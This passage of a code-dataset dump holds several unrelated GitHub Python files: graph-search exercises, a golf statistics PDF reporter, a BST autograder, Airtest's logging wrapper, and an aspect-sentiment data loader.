s.extend(G[n])\n return v\n\nprint(DFS(G, 1))\n\n\n# def dfs_visit(adj, u, V):\n# V.append(u)\n# for v in adj[u]:\n# if v not in V:\n# dfs_visit(adj, v, V)\n#\n# def dfs(adj, s):\n# V = []\n# dfs_visit(adj, s, V)\n# return V\n#\n# print(dfs(G, 1))\n\n\nv = []\n\ndef dfs(G, start, v):\n v.append(start)\n for i in G[start]:\n if i not in v:\n dfs(G, i, v)\n return v\n\nprint(dfs(G, 1, v))","repo_name":"anyl92/ALGORITHM","sub_path":"study/pract1_DFS.py","file_name":"pract1_DFS.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"15979518173","text":"import csv\nfrom matplotlib import pyplot\nfrom fpdf import FPDF\nimport os\n\n\n# adding optional extras to fpdf library\nclass PDF(FPDF):\n def header(self):\n self.set_font('courier', 'B', 25)\n # Calculate width of title and position\n w = self.get_string_width(title) + 6\n # self.set_x((210 - w) / 2)\n # Colors of frame, background and text\n self.set_draw_color(0, 80, 180)\n self.set_fill_color(255, 255, 255)\n\n # Title\n self.cell(w, 9, title, 1, 1, 'C', 1)\n # Line break\n self.ln(10)\n\n def footer(self):\n # Position at 1.5 cm from bottom\n self.set_y(-15)\n self.set_font('courier', 'I', 8)\n # Text color in gray\n self.set_text_color(128)\n # Page number\n self.cell(0, 10, '-' + str(self.page_no()) + '-', 0, 0, 'C')\n\n def chapter_title(self, num, label):\n # Arial 12\n self.set_font('courier', '', 12)\n # Background color\n self.set_fill_color(127, 100, 255)\n # Title\n self.cell(0, 6, 'Part %d : %s' % (num, label), 0, 1, 'L', 1)\n # Line break\n self.ln(4)\n\n def chapter_body(self, name):\n # Read text fileOT\n with open(name, 'rb') as fh:\n txt = fh.read().decode('latin-1')\n self.set_font('courier', '', 12)\n # Output justified text\n self.multi_cell(0, 5, txt)\n\n\n def print_chapter(self, num, title, name):\n self.add_page()\n self.chapter_title(num, title)\n self.chapter_body(name)\n\n\n# stats read from csv file\nwith open('stats.csv') as csv_file:\n game_data = list(csv.reader(csv_file))\n\n\n# par, and both participation stats are split into 3 lists\npar = list(map(int, game_data[0]))\nme = list(map(int, game_data[1]))\nfriend = list(map(int, game_data[2]))\ncat = list(map(int, game_data[3]))\n\ntotal_shots = len(par)\n\n# these lists will be for the combined score of every hole taken\ncontinued_par = []\nme_total = []\nfriend_total = []\ncat_total = []\n\nfor ascending in range(1, total_shots + 1):\n continued_par.append(sum(par[0:ascending]))\n me_total.append(sum(me[0:ascending]))\n friend_total.append(sum(friend[0:ascending]))\n cat_total.append(sum(cat[0:ascending]))\n\n# these lists will be for the result against par on every hole taken\nme_result = []\nfriend_result = []\ncat_result = []\nhole_index = 0\n\n# taking the par amount away from the total shots taken to get score result\nfor par_descent in par:\n me_result.append(me[hole_index]- par_descent)\n friend_result.append(friend[hole_index] - par_descent)\n cat_result.append(cat[hole_index] - par_descent)\n hole_index +=1\n\nme_raverage = []\nfriend_raverage = []\ncat_raverage = []\nfor get_av in range(total_shots + 1):\n if get_av == 0:\n continue\n me_sum = sum(me_result[0:get_av])\n me_raverage.append(me_sum / (get_av))\n friend_sum = sum(friend_result[0:get_av])\n friend_raverage.append(friend_sum / get_av)\n cat_sum = sum(cat_result[0:get_av])\n cat_raverage.append(cat_sum / get_av)\n\n\n\n# plotting first graph for shots against par cumilatively\nx_axis = [i for i in range(total_shots)]\npyplot.figure(figsize=(10, 5), dpi=150)\npyplot.xlabel('Hole')\npyplot.ylabel('Score')\npyplot.axvline(x=18, ymin=0, ymax=1, color='000000')\npyplot.axvline(x=36, ymin=0, ymax=1, color='000000')\npyplot.axvline(x=54, ymin=0, ymax=1, color='000000')\npyplot.axvline(x=72, ymin=0, ymax=1, color='000000')\npyplot.axvline(x=90, ymin=0, ymax=1, color='000000')\npyplot.plot(x_axis, continued_par, color='#000000', linestyle='dashed',\n label='Par')\npyplot.plot(x_axis, me_total, color='#800000',#marker = 'x',\n label='Anwar')\npyplot.plot(x_axis, friend_total, color='#FF0000',#marker = 'x',\n label='Todd')\npyplot.plot(x_axis, cat_total, color='#35a3fc',#marker = 'x',\n label='Adam')\n\npyplot.title('Golf scores')\npyplot.legend()\npyplot.savefig('graph1.png')\npyplot.close()\n\n# offsetting the x coordinates by 0.2 each way to have bars centred\n# the combined offset is the same as the width of the bars.\nx1 = []\nx2 = []\nfor x in x_axis:\n x1.append(x + 0.2)\n x2.append(x - 0.2)\n\n# plotting second graph for shots agsinst part individually\npyplot.figure(figsize=(11, 8), dpi=150)\npyplot.xlabel('Hole')\npyplot.ylabel('difference')\npyplot.plot(x_axis, [0] * total_shots, color='#000000', label='Par')\npyplot.bar(x2, me_result, color='#d99898', width=0.27,\n label='Anwar')\npyplot.bar(x1, friend_result, color='#ff7070', width=0.27,\n label='Todd')\npyplot.bar(x_axis, cat_result, color='#97ff82', width=0.27,\n label='Adam')\npyplot.plot(x_axis, me_raverage, color='#400b0b', linestyle='dashed',\n label='Anwar average result')\npyplot.plot(x_axis, friend_raverage, color='#801d1d', linestyle='dashed',\n label='Todd average result')\npyplot.plot(x_axis, cat_raverage, color='#4e614a', linestyle='dashed',\n label='Adam average result')\n\npyplot.title('Golf scores')\npyplot.legend()\npyplot.savefig('graph2.png')\npyplot.close()\n\n\n# showing all hole in notable results\n# hole in 1, ablatross, eagle, birdie, par, bogey, double bogey, forfeit\nme_uo = [0, 0]\nfriend_uo = [0, 0]\ncat_uo = [0, 0]\nfor under_over in range(total_shots):\n if me_result[under_over] < 0:\n me_uo[0] +=1\n elif me_result[under_over] > 0:\n me_uo[1] +=1\n if friend_result[under_over] < 0:\n friend_uo[0] +=1\n elif friend_result[under_over] > 0:\n friend_uo[1] +=1\n if cat_result[under_over] < 0:\n cat_uo[0] +=1\n elif cat_result[under_over] > 0:\n cat_uo[1] +=1\n\n# some unused statistics pulled from results to be potentially used later\nme_hi1 = me.count(1)\nme_alb = me_result.count(-3)\nme_eag = me_result.count(-2)\nme_bir = me_result.count(-1)\nme_par = me_result.count(0)\nme_bog = me_result.count(1)\nme_dob = me_result.count(2)\nme_forfeit = me.count(19)\nfriend_hi1 = friend.count(1)\nfriend_alb = friend_result.count(-3)\nfriend_eag = friend_result.count(-2)\nfriend_bir = friend_result.count(-1)\nfriend_par = friend_result.count(0)\nfriend_bog = friend_result.count(1)\nfriend_dob = friend_result.count(2)\nfriend_forfeit = friend.count(19)\ncat_hi1 = me.count(1)\ncat_alb = me_result.count(-3)\ncat_eag = me_result.count(-2)\ncat_bir = me_result.count(-1)\ncat_par = me_result.count(0)\ncat_bog = me_result.count(1)\ncat_dob = me_result.count(2)\ncat_forfeit = me.count(19)\n\n\n# bar chart for under over stats\n# the list below is the values that will replace numbers in the graph\nscore_tiers = ['Under par', 'Par', 'Over Par']\n# the bar width is cut to 0.27 to have all 3 bars lines, to offset bat posotion\nbar_width = 0.27\ny_pos = [0, 1, 2]\n\npyplot.figure(figsize=(10, 5), dpi=150)\npyplot.xticks(y_pos, score_tiers)\npyplot.bar(y_pos, [me_uo[0], me_par, me_uo[1]],\n width=bar_width, label='Anwar')\npyplot.bar(y_pos,[me_hi1, 0, 0], width=bar_width,\n label='- Hole in one')\npyplot.bar([0.27, 1.27, 2.27], [friend_uo[0], friend_par,\n friend_uo[1]], width=bar_width, label='Todd')\npyplot.bar([0.27, 1.27, 2.27], [friend_hi1, 0, 0],\n width=bar_width, label='- Hole in one')\npyplot.bar([0.54, 1.54, 2.54], [cat_uo[0], cat_par,\n cat_uo[1]], width=bar_width, label='Adam')\npyplot.bar([0.54, 1.54, 2.54], [cat_hi1, 0, 0],\n width=bar_width, label='- Hole in one')\npyplot.legend()\n\npyplot.savefig('graph3.png')\npyplot.close()\n\n\nWIDTH = 210\nHEIGHT = 297\n\n# Title for pdf\ntitle = 'Golf With Your Friends'\n\n\n# create pdf with parameters\npdf = PDF('P', 'mm', (210, 297))\npdf.set_title(title)\npdf.set_author('Anwar Louis')\n# pdf.add_page()\n# pdf.set_font('courier', 'U', 20)\n# pdf.cell(0, 10, 'Golf With Your Friends.', ln=True)\npdf.print_chapter(1, 'Introduction', 'init_text.txt')\n\npdf.set_font('courier', 'U', 14)\npdf.cell(0, 2, '', ln=True)\npdf.cell(0, 5, 'Gamplay stats', ln=True)\n\n# plotting results table\n# each course is 18 holes so values can be split in lots of 18\ntotal_games = int(total_shots / 18)\nstart = [i for i in range(0, total_shots, 18)]\nend = [i for i in range(18, total_shots + 1, 18)]\n# each course name is at the start of every 18 cells\n# all names are extracted\ncourses = list(filter(('').__ne__, game_data[4]))\ncols = ['Par', 'Anwar', 'Todd', 'Adam']\n\ngame_coord = []\nfor plot_game in range(total_games):\n game_coord.append([start[plot_game], end[plot_game]])\n\n# formatting and plotting table using a for loop\nfor plot_table in range(total_games):\n pdf.set_font('courier', '', 12)\n\n # print(courses[plot_table])\n\n pdf.cell(0, 5,'Course' + str(plot_table + 1) + ': ' +\n courses[plot_table], ln=True)\n\n\n st_pos = game_coord[plot_table][0]\n en_pos = game_coord[plot_table][1]\n par_show = ['Par'] + list(map(str, par[st_pos:en_pos]))\n Anwar_show = ['Anwar'] + list(map(str, me[st_pos:en_pos]))\n friend_show = ['Todd'] + list(map(str, friend[st_pos:en_pos]))\n cat_show = ['Adam'] + list(map(str, cat[st_pos:en_pos]))\n\n\n\n pdf.set_font(\"courier\", size=8)\n line_height = pdf.font_size * 2\n col_width = pdf.epw / 19 # distribute content evenly\n pdf.cell(0, 10, '', ln=True)\n\n for row in [par_show, Anwar_show, friend_show, cat_show]:\n for datum in row:\n pdf.multi_cell(col_width, line_height,\n datum, border=1, ln=3, max_line_height=pdf.font_size)\n pdf.ln(line_height)\n\n pdf.cell(0, 5,'' , ln=True)\n pdf.cell(0, 5,'Total par:' + str(sum(par[st_pos:en_pos])), ln=True)\n pdf.cell(0, 5,'Anwar total:' + str(sum(me[st_pos:en_pos])), ln=True)\n pdf.cell(0, 5,'Todd total:' + str(sum(friend[st_pos:en_pos])), ln=True)\n pdf.cell(0, 5,'Adam total:' + str(sum(cat[st_pos:en_pos])), ln=True)\n\n# stats used for page 2 analysis\npar_total = sum(par)\nme_total = sum(me)\nme_final = me_total - par_total\nfriend_total = sum(friend)\nfriend_final = friend_total - par_total\ncat_total = sum(cat)\ncat_final = cat_total - par_total\n\npdf.cell(0, 5,'' , ln=True)\npdf.set_font('courier', 'U', 15)\npdf.cell(0, 5,'Standings:' + str(par_total), ln=True)\npdf.set_font('courier', '', 8)\npdf.cell(0, 5,'Final Par:' + str(par_total), ln=True)\npdf.cell(0, 5,'Anwar:' + str(me_total) + ' (' + str(me_final) + ')', ln=True)\npdf.cell(0, 5,'Todd:' + str(friend_total) +\n ' (' + str(friend_final) + ')', ln=True)\npdf.cell(0, 5,'Anwar:' + str(cat_total) + ' (' + str(cat_final) + ')', ln=True)\n\n# graph for bottom of page 1\npdf.image(name='graph1.png', x=40, y =212, w = 180, h = 80, type = 'png')\n\npdf.print_chapter(2, 'Analysing the results', 'second_text.txt')\n# final graphs for page 3\npdf.image(name='graph2.png', x=20, y =95, w = 170, h = 110, type = 'png')\npdf.image(name='graph3.png', x=20, y =200, w = 170, h = 90, type = 'png')\n\n\npdf.output('analysis.pdf')\n\n# remove used image files from directory\nextras = ['graph1.png', 'graph2.png', 'graph3.png']\n\nfor deadwood in extras:\n os.remove(deadwood)\n","repo_name":"inc-cat/Golf-Olympics","sub_path":"golf.py","file_name":"golf.py","file_ext":"py","file_size_in_byte":10754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"675290413","text":"import numpy as np\r\ndef minStepToReachTarget(KnightPos, TargetPos, N):\r\n print(f'mapping the following: \\n\\nknight position: {KnightPos} \\nTarget Position: {TargetPos} \\nheight x width of grid: {N} x {N}\\n')\r\n if KnightPos == TargetPos:\r\n return 0\r\n knight = Knight(KnightPos, TargetPos, N )\r\n all_paths, final_target_pos, knight_origin = knight.search_path_from_node(KnightPos,0)\r\n knight.findnext(all_paths, final_target_pos, knight_origin, [])\r\n\r\n\r\n\r\nclass Knight:\r\n current_shortest_path = False\r\n visited = []\r\n paths = []\r\n temp_queue = []\r\n count = []\r\n\r\n\r\n def __init__(self,start,fin,space):\r\n self.start = start\r\n self.fin = fin\r\n self.space = space\r\n\r\n\r\n # Given a node, find all potential nodes.\r\n def find_nodes(self,pos):\r\n # valid moves of the knight.\r\n nodes = [\r\n [pos[0]-2,pos[1]-1],\r\n [pos[0]-1,pos[1]-2],\r\n [pos[0]+1,pos[1]+2],\r\n [pos[0]+2,pos[1]+1],\r\n [pos[0]-2,pos[1]+1],\r\n [pos[0]-1,pos[1]+2],\r\n [pos[0]+1,pos[1]-2],\r\n [pos[0]+2,pos[1]-1],\r\n ]\r\n self.visited.append(pos)\r\n # includes only nodes that are within the bounds of the board:\r\n potential_nodes=[x for x in nodes if x[0] >=0 and x[0] <=self.space-1 and x[1] <= self.space-1 and x[1] >= 0 and x not in self.visited]\r\n \r\n # ** use this to show the nodes\r\n # print(f'nodes from: {pos} are: ',potential_nodes)\r\n return potential_nodes\r\n\r\n # explore the path of each node\r\n def search_path_from_node(self,curr,cnt):\r\n # begin counter and start retrieving valid nodes from the current position.\r\n this_attempts_count = cnt + 1\r\n potential = self.find_nodes(curr)\r\n\r\n if potential == []:\r\n # out of valid nodes to test, meaning it is not possible to find the goal.\r\n # print('cant find a path \\nfunction has ended')\r\n return \r\n\r\n if self.fin not in potential:\r\n # Checking if its still possible to be a new record or if it is the first try\r\n if this_attempts_count < self.current_shortest_path or self.current_shortest_path == False:\r\n for x in potential:\r\n self.paths.append({'count':this_attempts_count,'origin':curr, 'curr': x})\r\n self.search_path_from_node(x,this_attempts_count)\r\n else:\r\n # The path will not be a new winner (shortest), so give up now.\r\n # print('found another path but it was too long')\r\n count = 0 \r\n return\r\n \r\n else:\r\n # print('\\nfound a path', this_attempts_count)\r\n self.paths.append({'count' : this_attempts_count,'origin':curr, 'curr': self.fin})\r\n self.current_shortest_path = this_attempts_count\r\n this_attempts_count = 0 \r\n\r\n # refresh the visited cache\r\n self.visited = []\r\n\r\n return self.paths, self.fin, self.start\r\n\r\n # once all the paths are found, this will retrace the steps to find the shortest path from end to start:\r\n def findnext(self, dic, curr, tar, path):\r\n if tar != [x.get('origin') for x in dic if x.get('curr') == curr][0]:\r\n option = [x for x in dic if x.get('curr') == curr and x.get('count') == min([x.get('count') for x in dic if x.get('curr') == curr])]\r\n path.append(option[0].get('curr'))\r\n\r\n self.findnext(dic, option[0].get('origin'), tar, path) \r\n else:\r\n option = [x for x in dic if x.get('curr') == curr and x.get('count') == min([x.get('count') for x in dic if x.get('curr') == curr])]\r\n path.append(option[0].get('curr'))\r\n\r\n #Add the knights original position. \r\n path.append(tar)\r\n grid = np.array([['#' for _ in range(self.space)] for _ in range(self.space)])\r\n for x in path:\r\n grid[x[0]][x[1]] = \"^\"\r\n grid[self.start[0]][self.start[1]] = 'K'\r\n grid[self.fin[0]][self.fin[1]] = 'O'\r\n print(\"path :\\n\",path,f\"in {len(path)} moves\\n\", \"\\n\", grid)\r\n\r\n\r\nminStepToReachTarget([1,1],[2,6],7)\r\n","repo_name":"UndrscoreEX/knight_moves","sub_path":"breath_first_search.py","file_name":"breath_first_search.py","file_ext":"py","file_size_in_byte":4060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3578429966","text":"#!/usr/bin/python3\n\nimport os\nimport random\nimport subprocess\n\nclass BinarySearchTreeNode:\n\n queue = []\n\n def __init__(self):\n self.l = None\n self.data = None\n self.r = None\n\n def insert(self, val):\n if self.data == None:\n self.data = val\n if val < self.data:\n if not self.l:\n self.l = BinarySearchTreeNode()\n self.l.insert(val)\n elif val == self.data:\n pass\n else:\n if not self.r:\n self.r = BinarySearchTreeNode()\n self.r.insert(val)\n\n def level_order_traversal(self):\n if self.l:\n BinarySearchTreeNode.queue.append(self.l)\n if self.r:\n BinarySearchTreeNode.queue.append(self.r)\n string = str(self.data)\n if BinarySearchTreeNode.queue:\n string += \" \" + BinarySearchTreeNode.queue.pop(0).level_order_traversal()\n return string\n\ndef generate_test ( filenum, length, prefix=None ):\n\n root = BinarySearchTreeNode()\n\n with open(\"{}tests/test{}.txt\".format(prefix if prefix else \"\",filenum), \"w\") as infile:\n for _ in range (length):\n val = random.randrange(length)\n root.insert(val)\n infile.write(\"{} \".format(val))\n\n with open(\"{}answers/answer{}.txt\".format(prefix if prefix else \"\",filenum), \"w\") as outfile:\n outfile.write(root.level_order_traversal())\n\ndef generate_test_suite():\n\n if not os.path.exists(\"tests\"):\n os.mkdir(\"tests\")\n if not os.path.exists(\"answers\"):\n os.mkdir(\"answers\")\n\n generate_test ( 0, 1 )\n generate_test ( 1, 2 )\n generate_test ( 2, 4 )\n generate_test ( 3, 8 )\n\ndef test_bstLevelOrder ( filenum, prefix=None, verbose=False ):\n\n command = prefix if prefix else \".\"\n command += \"/bstLevelOrder {}tests/test{}.txt\".format(prefix if prefix else \"\",filenum)\n if verbose:\n print (command)\n\n try:\n with open(\"{}answers/answer{}.txt\".format(prefix if prefix else \"\",filenum), \"r\") as outfile:\n answer = [ int(num) for num in outfile.read().split() ]\n except EnvironmentError: # parent of IOError, OSError\n print (\"answers/answer{}.txt missing\".format(filenum))\n\n try:\n result = subprocess.check_output(command, shell=True).decode('ascii')\n resultlist = [int(string) for string in result.split()]\n # print (\"answer\")\n # print (answer)\n # print (\"result\")\n # print (result)\n assert resultlist == answer, \"The breadth first traversal of the bst doesn't match answers/answer{}.txt.\".format(filenum)\n return True\n except subprocess.CalledProcessError as e:\n # print (e.output)\n print (\"Calling ./bstLevelOrder returned non-zero exit status.\")\n except AssertionError as e:\n print (result)\n print (e.args[0])\n\n return False\n\ndef grade_bstLevelOrder( prefix=None, verbose=False ):\n\n score = 0\n\n command = \"make\"\n if prefix:\n command += \" --directory=\" + prefix\n if verbose:\n print (command)\n try:\n subprocess.check_output(command, shell=True)\n score += 5\n except subprocess.CalledProcessError as e:\n print (\"Couldn't compile bstLevelOrder.\")\n return score\n\n if test_bstLevelOrder(0,prefix,verbose):\n score += 3\n if test_bstLevelOrder(1,prefix,verbose):\n score += 3\n if test_bstLevelOrder(2,prefix,verbose):\n score += 3\n if test_bstLevelOrder(3,prefix,verbose):\n score += 3\n\n allpass = True\n for filenum in range(4,8):\n generate_test ( filenum, 1024, prefix )\n allpass &= test_bstLevelOrder(filenum,prefix,verbose)\n if allpass:\n score += 5\n\n print (\"Score on bstLevelOrder: {} out of 22.\".format(score))\n return score\n\nif __name__ == '__main__':\n # generate_test_suite()\n grade_bstLevelOrder(verbose=True)\n exit()\n","repo_name":"yipenghuang0302/2021_0s_211","sub_path":"pa1/bstLevelOrder/autograder.py","file_name":"autograder.py","file_ext":"py","file_size_in_byte":4068,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"23360665759","text":"n1 = int(input())\nA = input().split()\nn2 = int(input())\nB = input().split()\n\nAset = set()\nBset = set()\nfor i in A:\n Aset.add(int(i))\n\nfor i in B:\n Bset.add(int(i))\n\noutput = list(Aset.difference(Bset).union(Bset.difference(Aset)))\nfor i in sorted(output):\n print(i)","repo_name":"muhammad-usman-108/HackerRank-Python-Practice","sub_path":"symmetric_difference.py","file_name":"symmetric_difference.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20121475362","text":"def find_duplicate(nums: list):\n if len(nums) == 0 or len(nums) == 1:\n return False\n\n nums.sort()\n n = len(nums) - 1\n x = 0\n while x < n:\n if type(nums[x]) != int or nums[x] < 0:\n return False\n if nums[x] == nums[x + 1]:\n return nums[x]\n x += 1\n\n return False\n","repo_name":"cahito/algorithms","sub_path":"challenges/challenge_find_the_duplicate.py","file_name":"challenge_find_the_duplicate.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2936614798","text":"# _*_ coding:UTF-8 _*_\n\nimport os\nimport json\nimport time\nimport inspect\nimport functools\nimport traceback\nfrom copy import copy\nfrom .logger import get_logger\nfrom .snippet import reg_cleanup\nLOGGING = get_logger(__name__)\n\n\nclass AirtestLogger(object):\n \"\"\"logger \"\"\"\n def __init__(self, logfile):\n super(AirtestLogger, self).__init__()\n self.running_stack = []\n self.logfile = None\n self.logfd = None\n self.set_logfile(logfile)\n reg_cleanup(self.handle_stacked_log)\n\n def set_logfile(self, logfile):\n if logfile:\n self.logfile = os.path.realpath(logfile)\n self.logfd = open(self.logfile, \"w\")\n else:\n # use G.LOGGER.set_logfile(None) to reset logfile\n self.logfile = None\n if self.logfd:\n self.logfd.close()\n self.logfd = None\n\n @staticmethod\n def _dumper(obj):\n if hasattr(obj, \"to_json\"):\n try:\n return obj.to_json()\n except:\n repr(obj)\n try:\n d = copy(obj.__dict__)\n try:\n d[\"__class__\"] = obj.__class__.__name__\n except AttributeError:\n pass\n return d\n except (AttributeError, TypeError):\n # use d = obj.__dict__.copy() to avoid TypeError: can't pickle mappingproxy objects\n # but repr(obj) is simpler in the report\n return repr(obj)\n\n def log(self, tag, data, depth=None, timestamp=None):\n ''' Not thread safe '''\n # LOGGING.debug(\"%s: %s\" % (tag, data))\n if depth is None:\n depth = len(self.running_stack)\n if self.logfd:\n # 如果timestamp为None,或不是float,就设为默认值time.time()\n try:\n timestamp = float(timestamp)\n except (ValueError, TypeError):\n timestamp = time.time()\n try:\n log_data = json.dumps({'tag': tag, 'depth': depth, 'time': timestamp,\n 'data': data}, default=self._dumper)\n except UnicodeDecodeError:\n # PY2\n log_data = json.dumps({'tag': tag, 'depth': depth, 'time': timestamp,\n 'data': data}, default=self._dumper, ensure_ascii=False)\n self.logfd.write(log_data + '\\n')\n self.logfd.flush()\n\n def handle_stacked_log(self):\n # 处理stack中的log\n while self.running_stack:\n # 先取最后一个,记了log之后再pop,避免depth错误\n log_stacked = self.running_stack[-1]\n try:\n self.log(\"function\", log_stacked)\n except Exception as e:\n LOGGING.error(\"log_stacked error: %s\" % e)\n LOGGING.error(traceback.format_exc())\n self.running_stack.pop()\n\n\ndef Logwrap(f, logger):\n @functools.wraps(f)\n def wrapper(*args, **kwargs):\n \"\"\"\n The decorator @logwrap can record the function call information in the airtest log and display it in the report.\n 装饰器@logwrap,能够在airtest的log中记录函数的调用信息,显示在报告中\n\n The following parameters can be appended to the function parameter definition for additional effect:\n 在函数参数定义中可以附加以下参数,以获得更多效果:\n\n snapshot: snapshot: If True, a snapshot can be attached to the report. 如果为True,可以附加一张截图到报告中\n depth: the depth order of the current log in the log. 指定log中当前log的深度顺序\n\n Examples:\n\n @logwrap\n def func1():\n pass\n\n @logwrap\n def func1(snapshot=True):\n pass\n\n Args:\n *args:\n **kwargs:\n\n Returns:\n\n\n \"\"\"\n from airtest.core.cv import try_log_screen\n # py3 only: def wrapper(*args, depth=None, **kwargs):\n depth = kwargs.pop('depth', None) # For compatibility with py2\n start = time.time()\n m = inspect.getcallargs(f, *args, **kwargs)\n # The snapshot parameter is popped from the function parameter,\n # so the function cannot use the parameter name snapshot later\n snapshot = m.pop('snapshot', False)\n fndata = {'name': f.__name__, 'call_args': m, 'start_time': start}\n logger.running_stack.append(fndata)\n try:\n res = f(*args, **kwargs)\n except Exception as e:\n data = {\"traceback\": traceback.format_exc(), \"end_time\": time.time()}\n fndata.update(data)\n raise\n else:\n fndata.update({'ret': res, \"end_time\": time.time()})\n return res\n finally:\n if snapshot is True:\n # If snapshot=True, save an image unless ST.SAVE_IMAGE=False\n try:\n try_log_screen(depth=len(logger.running_stack) + 1)\n except AttributeError:\n # if G.DEVICE is None\n pass\n logger.log('function', fndata, depth=depth)\n try:\n logger.running_stack.pop()\n except IndexError:\n # logger.running_stack is empty\n pass\n return wrapper\n","repo_name":"AirtestProject/Airtest","sub_path":"airtest/utils/logwraper.py","file_name":"logwraper.py","file_ext":"py","file_size_in_byte":5366,"program_lang":"python","lang":"en","doc_type":"code","stars":7514,"dataset":"github-code","pt":"37"} +{"seq_id":"11835363287","text":"import os\nimport pickle\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset\nimport networkx as nx\nimport spacy\nfrom pytorch_transformers import BertTokenizer,XLNetTokenizer\n\n\ndef build_tokenizer(fnames, max_seq_len, dat_fname):\n if os.path.exists(dat_fname):\n print('loading tokenizer:', dat_fname)\n tokenizer = pickle.load(open(dat_fname, 'rb'))\n else:\n text = ''\n for fname in fnames:\n fin = open(fname, 'r', encoding='utf-8', newline='\\n', errors='ignore')\n lines = fin.readlines()\n fin.close()\n for i in range(0, len(lines), 3):\n text_left, _, text_right = [s.lower().strip() for s in lines[i].partition(\"$T$\")]\n aspect = lines[i + 1].lower().strip()\n text_raw = text_left + \" \" + aspect + \" \" + text_right\n text += text_raw + \" \"\n\n tokenizer = Tokenizer(max_seq_len)\n tokenizer.fit_on_text(text)\n pickle.dump(tokenizer, open(dat_fname, 'wb'))\n return tokenizer\n\n\ndef _load_word_vec(path, word2idx=None):\n fin = open(path, 'r', encoding='utf-8', newline='\\n', errors='ignore')\n word_vec = {}\n for line in fin:\n tokens = line.rstrip().split()\n if word2idx is None or tokens[0] in word2idx.keys():\n word_vec[tokens[0]] = np.asarray(tokens[1:], dtype='float32')\n return word_vec\n\n\ndef build_embedding_matrix(word2idx, embed_dim, dat_fname):\n if os.path.exists(dat_fname):\n print('loading embedding_matrix:', dat_fname)\n embedding_matrix = pickle.load(open(dat_fname, 'rb'))\n else:\n print('loading word vectors...')\n embedding_matrix = np.zeros((len(word2idx) + 2, embed_dim)) # idx 0 and len(word2idx)+1 are all-zeros\n fname = './glove.twitter.27B/glove.twitter.27B.' + str(embed_dim) + 'd.txt' \\\n if embed_dim != 300 else './glove.42B.300d.txt'\n word_vec = _load_word_vec(fname, word2idx=word2idx)\n print('building embedding_matrix:', dat_fname)\n for word, i in word2idx.items():\n vec = word_vec.get(word)\n if vec is not None:\n # words not found in embedding index will be all-zeros.\n embedding_matrix[i] = vec\n pickle.dump(embedding_matrix, open(dat_fname, 'wb'))\n return embedding_matrix\n\n\ndef pad_and_truncate(sequence, maxlen, dtype='int64', padding='post', truncating='post', value=0):\n x = (np.ones(maxlen) * value).astype(dtype)\n if truncating == 'pre':\n trunc = sequence[-maxlen:]\n else:\n trunc = sequence[:maxlen]\n trunc = np.asarray(trunc, dtype=dtype)\n if padding == 'post':\n x[:len(trunc)] = trunc\n else:\n x[-len(trunc):] = trunc\n return x\n\n\nclass Tokenizer(object):\n def __init__(self, max_seq_len, lower=True):\n self.lower = lower\n self.max_seq_len = max_seq_len\n self.word2idx = {}\n self.idx2word = {}\n self.idx = 1\n\n def fit_on_text(self, text):\n if self.lower:\n text = text.lower()\n words = text.split()\n for word in words:\n if word not in self.word2idx:\n self.word2idx[word] = self.idx\n self.idx2word[self.idx] = word\n self.idx += 1\n\n def text_to_sequence(self, text, reverse=False, padding='post', truncating='post'):\n if self.lower:\n text = text.lower()\n words = text.split()\n unknownidx = len(self.word2idx)+1\n sequence = [self.word2idx[w] if w in self.word2idx else unknownidx for w in words]\n if len(sequence) == 0:\n sequence = [0]\n if reverse:\n sequence = sequence[::-1]\n return pad_and_truncate(sequence, self.max_seq_len, padding=padding, truncating=truncating)\n\n\nclass Tokenizer4Pretrain:\n def __init__(self, tokenizer, max_seq_len):\n self.tokenizer = tokenizer\n self.cls_token = tokenizer.cls_token\n self.sep_token = tokenizer.sep_token\n self.max_seq_len = max_seq_len\n\n def text_to_sequence(self, text, reverse=False, padding='post', truncating='post'):\n sequence = self.tokenizer.convert_tokens_to_ids(self.tokenizer.tokenize(text))\n if len(sequence) == 0:\n sequence = [0]\n if reverse:\n sequence = sequence[::-1]\n return pad_and_truncate(sequence, self.max_seq_len, padding=padding, truncating=truncating)\n\n # Group distance to aspect of an original word to its corresponding subword token\n def tokenize(self, text, dep_dist, reverse=False, padding='post', truncating='post'):\n sequence, distances = [],[]\n for word,dist in zip(text,dep_dist):\n tokens = self.tokenizer.tokenize(word)\n for jx,token in enumerate(tokens):\n sequence.append(token)\n distances.append(dist)\n sequence = self.tokenizer.convert_tokens_to_ids(sequence)\n\n if len(sequence) == 0:\n sequence = [0]\n dep_dist = [0]\n if reverse:\n sequence = sequence[::-1]\n dep_dist = dep_dist[::-1]\n sequence = pad_and_truncate(sequence, self.max_seq_len, padding=padding, truncating=truncating)\n dep_dist = pad_and_truncate(dep_dist, self.max_seq_len, padding=padding, truncating=truncating,value=self.max_seq_len)\n\n return sequence, dep_dist\n\n\nclass ABSADataset(Dataset):\n def __init__(self, fname, tokenizer):\n fin = open(fname, 'r', encoding='utf-8', newline='\\n', errors='ignore')\n lines = fin.readlines()\n fin.close()\n\n all_data = []\n for i in range(0, len(lines), 3):\n text_left, _, text_right = [s.lower().strip() for s in lines[i].partition(\"$T$\")]\n aspect = lines[i + 1].lower().strip()\n auxiliary_aspect = 'What is the polarity of {}'.format(aspect)\n polarity = lines[i + 2].strip()\n\n raw_text = text_left + \" \" + aspect + \" \" + text_right\n text_raw_indices = tokenizer.text_to_sequence(raw_text)\n text_raw_without_aspect_indices = tokenizer.text_to_sequence(text_left + \" \" + text_right)\n text_left_indices = tokenizer.text_to_sequence(text_left)\n text_left_with_aspect_indices = tokenizer.text_to_sequence(text_left + \" \" + aspect)\n text_right_indices = tokenizer.text_to_sequence(text_right, reverse=True)\n text_right_with_aspect_indices = tokenizer.text_to_sequence(\" \" + aspect + \" \" + 